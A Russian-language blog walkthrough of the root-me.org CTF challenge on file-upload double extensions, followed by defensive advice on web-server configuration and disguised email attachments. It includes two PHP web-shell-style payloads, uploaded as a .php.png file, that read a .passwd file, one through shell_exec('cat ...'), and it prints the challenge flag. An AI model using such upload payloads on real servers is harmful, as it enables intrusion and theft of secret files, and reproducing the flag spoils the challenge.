Найти тему

CTF — PHP и двойные расширения

Оглавление

Продолжаем решать задачки по информационной безопасности web-серверов. Сегодня задачка с портала root-me.org, называется "File upload - Double extensions". За решение задачки дают 20 баллов, сложнее начального уровня.

-2

В качестве задания предлагается взломать фотогалерею, загрузив код PHP. Флаг следует искать в корневом файле .passwd .

Нам предлагают воспользоваться уязвимостью при загрузке файлов, связанной с двойным расширением файла. На самом деле понятия "двойное расширение" не существует, расширение только одно, то что идёт за последней точкой. Просто так удобнее озвучивать проблему.

Ссылки

CTF - Capture The Flag

https://www.root-me.org

Решение

Переходим на страницу задания:

http://challenge01.root-me.org/web-serveur/ch20/

-3

Мы видим фотогалерею. Интересен раздел upload. Здесь можно загрузить свой файл.

-4

Естественно, загрузить файл с расширением PHP не удастся. Разрешены расширения GIF, JPEG и PNG.

-5

Пробую загрузить первый попавшийся bx_loader.gif.

-6

Файл загружен, его можно посмотреть.

-7

А теперь создадим файл с двойным расширением "internet_lab_was_here.php.png ".

-8

Внутри файла разместим PHP код, который нам выведет содержимое файла .passwd , например:

<?php $filename = '../../../.passwd' ;
$handle = fopen($filename , "rb" );
$contents = fread($handle , filesize($filename ));
fclose($handle );
echo "<b>$contents</b>" ;
?>

Или:

<?php $output = shell_exec('cat ../../../.passwd' );
echo "<b>$output</b>" ;
?>

Я вставил оба кода, какой-нибудь да сработает.

-9

Пробуем загрузить файл в фотогалерею.

-10

И файл успешно загружен, открываем его в отдельной вкладке.

-11

Оба PHP скрипта отработали и выведи содержимое файла .passwd .

Флаг: Gg9LRz-hWSxqqUKd77-_q-6G8

Валидируем.

-12

Флаг подходит, зарабатываем 20 очков.

Безопасность

Разрешать пользователям загружать файлы, означает, подвергать риску web сервер. Злоумышленники и автоматические боты обязательно проверят ваш сайт на наличие уязвимостей. А таких возможных уязвимостей, связанных с загрузкой файлов, достаточно много. Главная цель злоумышленника — загрузить на ваш web сервер исполняемый файл, а ваша задача помешать этому. Если вы не понимаете тонкостей работы web сервера, то стоит их изучить.

В данной задаче рассматривается проблема двойных расширений. К примеру, при определённых настройках сервер Apache выполнит файл с названием "foobar.php.123" с помощью PHP интерпретатора. В nginx тоже есть определённые настройки, которые приведут к подобному результату.

Почитать можно здесь:

https://www.acunetix.com/websitesecurity/upload-forms-threat/

http://symcbean.blogspot.com/2016/06/local-file-inclusion-why-everything-you.html

  • Правильно настраивайте web-сервер.
  • Старайтесь не разрешать пользователям загружать контент.
  • Валидируйте контент.

Двойные расширения используются злоумышленниками не только для взлома web серверов. Например, вам на почту могут прислать письмо с файлом "Отчёт.doc.vbs ". Крайне не рекомендуется такой файл открывать.

Меня больше бесит, что Windows по умолчанию скрывает расширения известных типов файлов. Если файл "Отчёт.doc.vbs " сохранить из письма на диск (а это многие делают при получении письма с большим количеством файлов внутри), то он отобразится как "Отчёт.doc ". Это провал!

Обязательно в настройках Explorer снимайте галку "Скрывать расширения для зарегистрированных типов файлов".

-13

Источник:
https://internet-lab.ru/ctf_file_upload_double_extensions

Если вам понравилась статья, то ставьте 👍🏻 каналу.
Пишите комментарии, задавайте вопросы, подписывайтесь.